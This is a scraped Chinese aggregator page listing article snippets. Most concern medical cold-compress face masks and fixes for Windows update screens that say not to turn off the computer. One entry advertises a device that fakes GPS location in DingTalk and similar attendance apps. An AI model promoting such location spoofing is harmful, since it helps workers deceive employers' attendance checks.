    原标题:丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者【公司简介】 广州华彬企业隶属香港华彬集团有限公司,专注美业21年,其旗下品牌: 「圣茵美」私密荷尔蒙抗衰,产后修复 「圣仪轩」私密荷尔蒙抗衰,产后修复 「花茵莳」私密荷尔蒙抗衰,产后修复 「丽彦妆」专注医学护…...

    2024/5/4 23:54:58
  23. 广州械字号面膜生产厂家OEM/ODM4项须知!

    原标题:广州械字号面膜生产厂家OEM/ODM4项须知!广州械字号面膜生产厂家OEM/ODM流程及注意事项解读: 械字号医用面膜,其实在我国并没有严格的定义,通常我们说的医美面膜指的应该是一种「医用敷料」,也就是说,医用面膜其实算作「医疗器械」的一种,又称「医用冷敷贴」。 …...

    2024/5/10 10:22:18
  24. 械字号医用眼膜缓解用眼过度到底有无作用?

    原标题:械字号医用眼膜缓解用眼过度到底有无作用?医用眼膜/械字号眼膜/医用冷敷眼贴 凝胶层为亲水高分子材料,含70%以上的水分。体表皮肤温度传导到本产品的凝胶层,热量被凝胶内水分子吸收,通过水分的蒸发带走大量的热量,可迅速地降低体表皮肤局部温度,减轻局部皮肤的灼…...

    2024/5/9 17:11:10
  25. 配置失败还原请勿关闭计算机,电脑开机屏幕上面显示,配置失败还原更改 请勿关闭计算机 开不了机 这个问题怎么办...

    解析如下&#xff1a;1、长按电脑电源键直至关机&#xff0c;然后再按一次电源健重启电脑&#xff0c;按F8健进入安全模式2、安全模式下进入Windows系统桌面后&#xff0c;按住“winR”打开运行窗口&#xff0c;输入“services.msc”打开服务设置3、在服务界面&#xff0c;选中…...

    2022/11/19 21:17:18
  26. 错误使用 reshape要执行 RESHAPE,请勿更改元素数目。

    %读入6幅图像&#xff08;每一幅图像的大小是564*564&#xff09; f1 imread(WashingtonDC_Band1_564.tif); subplot(3,2,1),imshow(f1); f2 imread(WashingtonDC_Band2_564.tif); subplot(3,2,2),imshow(f2); f3 imread(WashingtonDC_Band3_564.tif); subplot(3,2,3),imsho…...

    2022/11/19 21:17:16
  27. 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机...

    win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”问题的解决方法在win7系统关机时如果有升级系统的或者其他需要会直接进入一个 等待界面&#xff0c;在等待界面中我们需要等待操作结束才能关机&#xff0c;虽然这比较麻烦&#xff0c;但是对系统进行配置和升级…...

    2022/11/19 21:17:15
  28. 台式电脑显示配置100%请勿关闭计算机,“准备配置windows 请勿关闭计算机”的解决方法...

    有不少用户在重装Win7系统或更新系统后会遇到“准备配置windows&#xff0c;请勿关闭计算机”的提示&#xff0c;要过很久才能进入系统&#xff0c;有的用户甚至几个小时也无法进入&#xff0c;下面就教大家这个问题的解决方法。第一种方法&#xff1a;我们首先在左下角的“开始…...

    2022/11/19 21:17:14
  29. win7 正在配置 请勿关闭计算机,怎么办Win7开机显示正在配置Windows Update请勿关机...

    置信有很多用户都跟小编一样遇到过这样的问题&#xff0c;电脑时发现开机屏幕显现“正在配置Windows Update&#xff0c;请勿关机”(如下图所示)&#xff0c;而且还需求等大约5分钟才干进入系统。这是怎样回事呢&#xff1f;一切都是正常操作的&#xff0c;为什么开时机呈现“正…...

    2022/11/19 21:17:13
  30. 准备配置windows 请勿关闭计算机 蓝屏,Win7开机总是出现提示“配置Windows请勿关机”...

    Win7系统开机启动时总是出现“配置Windows请勿关机”的提示&#xff0c;没过几秒后电脑自动重启&#xff0c;每次开机都这样无法进入系统&#xff0c;此时碰到这种现象的用户就可以使用以下5种方法解决问题。方法一&#xff1a;开机按下F8&#xff0c;在出现的Windows高级启动选…...

    2022/11/19 21:17:12
  31. 准备windows请勿关闭计算机要多久,windows10系统提示正在准备windows请勿关闭计算机怎么办...

    有不少windows10系统用户反映说碰到这样一个情况&#xff0c;就是电脑提示正在准备windows请勿关闭计算机&#xff0c;碰到这样的问题该怎么解决呢&#xff0c;现在小编就给大家分享一下windows10系统提示正在准备windows请勿关闭计算机的具体第一种方法&#xff1a;1、2、依次…...

    2022/11/19 21:17:11
  32. 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”的解决方法...

    今天和大家分享一下win7系统重装了Win7旗舰版系统后&#xff0c;每次关机的时候桌面上都会显示一个“配置Windows Update的界面&#xff0c;提示请勿关闭计算机”&#xff0c;每次停留好几分钟才能正常关机&#xff0c;导致什么情况引起的呢&#xff1f;出现配置Windows Update…...

    2022/11/19 21:17:10
  33. 电脑桌面一直是清理请关闭计算机,windows7一直卡在清理 请勿关闭计算机-win7清理请勿关机,win7配置更新35%不动...

    只能是等着&#xff0c;别无他法。说是卡着如果你看硬盘灯应该在读写。如果从 Win 10 无法正常回滚&#xff0c;只能是考虑备份数据后重装系统了。解决来方案一&#xff1a;管理员运行cmd&#xff1a;net stop WuAuServcd %windir%ren SoftwareDistribution SDoldnet start WuA…...

    2022/11/19 21:17:09
  34. 计算机配置更新不起,电脑提示“配置Windows Update请勿关闭计算机”怎么办?

    原标题&#xff1a;电脑提示“配置Windows Update请勿关闭计算机”怎么办&#xff1f;win7系统中在开机与关闭的时候总是显示“配置windows update请勿关闭计算机”相信有不少朋友都曾遇到过一次两次还能忍但经常遇到就叫人感到心烦了遇到这种问题怎么办呢&#xff1f;一般的方…...

    2022/11/19 21:17:08
  35. 计算机正在配置无法关机,关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机...

    关机提示 windows7 正在配置windows 请勿关闭计算机 &#xff0c;然后等了一晚上也没有关掉。现在电脑无法正常关机以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容&#xff0c;让我们赶快一起来看一下吧&#xff01;关机提示 windows7 正在配…...

    2022/11/19 21:17:05
  36. 钉钉提示请勿通过开发者调试模式_钉钉请勿通过开发者调试模式是真的吗好不好用...

    钉钉请勿通过开发者调试模式是真的吗好不好用 更新时间:2020-04-20 22:24:19 浏览次数:729次 区域: 南阳 > 卧龙 列举网提醒您:为保障您的权益,请不要提前支付任何费用! 虚拟位置外设器!!轨迹模拟&虚拟位置外设神器 专业用于:钉钉,外勤365,红圈通,企业微信和…...

    2022/11/19 21:17:05
  37. 配置失败还原请勿关闭计算机怎么办,win7系统出现“配置windows update失败 还原更改 请勿关闭计算机”,长时间没反应,无法进入系统的解决方案...

    前几天班里有位学生电脑(windows 7系统)出问题了&#xff0c;具体表现是开机时一直停留在“配置windows update失败 还原更改 请勿关闭计算机”这个界面&#xff0c;长时间没反应&#xff0c;无法进入系统。这个问题原来帮其他同学也解决过&#xff0c;网上搜了不少资料&#x…...

    2022/11/19 21:17:04
  38. 一个电脑无法关闭计算机你应该怎么办,电脑显示“清理请勿关闭计算机”怎么办?...

    本文为你提供了3个有效解决电脑显示“清理请勿关闭计算机”问题的方法&#xff0c;并在最后教给你1种保护系统安全的好方法&#xff0c;一起来看看&#xff01;电脑出现“清理请勿关闭计算机”在Windows 7(SP1)和Windows Server 2008 R2 SP1中&#xff0c;添加了1个新功能在“磁…...

    2022/11/19 21:17:03
  39. 请勿关闭计算机还原更改要多久,电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机怎么办...

    许多用户在长期不使用电脑的时候&#xff0c;开启电脑发现电脑显示&#xff1a;配置windows更新失败&#xff0c;正在还原更改&#xff0c;请勿关闭计算机。。.这要怎么办呢&#xff1f;下面小编就带着大家一起看看吧&#xff01;如果能够正常进入系统&#xff0c;建议您暂时移…...

    2022/11/19 21:17:02
  40. 还原更改请勿关闭计算机 要多久,配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以...

    配置windows update失败 还原更改 请勿关闭计算机&#xff0c;电脑开机后一直显示以以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容&#xff0c;让我们赶快一起来看一下吧&#xff01;配置windows update失败 还原更改 请勿关闭计算机&#x…...

    2022/11/19 21:17:01
  41. 电脑配置中请勿关闭计算机怎么办,准备配置windows请勿关闭计算机一直显示怎么办【图解】...

    不知道大家有没有遇到过这样的一个问题&#xff0c;就是我们的win7系统在关机的时候&#xff0c;总是喜欢显示“准备配置windows&#xff0c;请勿关机”这样的一个页面&#xff0c;没有什么大碍&#xff0c;但是如果一直等着的话就要两个小时甚至更久都关不了机&#xff0c;非常…...

    2022/11/19 21:17:00
  42. 正在准备配置请勿关闭计算机,正在准备配置windows请勿关闭计算机时间长了解决教程...

    当电脑出现正在准备配置windows请勿关闭计算机时&#xff0c;一般是您正对windows进行升级&#xff0c;但是这个要是长时间没有反应&#xff0c;我们不能再傻等下去了。可能是电脑出了别的问题了&#xff0c;来看看教程的说法。正在准备配置windows请勿关闭计算机时间长了方法一…...

    2022/11/19 21:16:59
  43. 配置失败还原请勿关闭计算机,配置Windows Update失败,还原更改请勿关闭计算机...

    我们使用电脑的过程中有时会遇到这种情况&#xff0c;当我们打开电脑之后&#xff0c;发现一直停留在一个界面&#xff1a;“配置Windows Update失败&#xff0c;还原更改请勿关闭计算机”&#xff0c;等了许久还是无法进入系统。如果我们遇到此类问题应该如何解决呢&#xff0…...

    2022/11/19 21:16:58
  44. 如何在iPhone上关闭“请勿打扰”

    Apple’s “Do Not Disturb While Driving” is a potentially lifesaving iPhone feature, but it doesn’t always turn on automatically at the appropriate time. For example, you might be a passenger in a moving car, but your iPhone may think you’re the one dri…...

    2022/11/19 21:16:57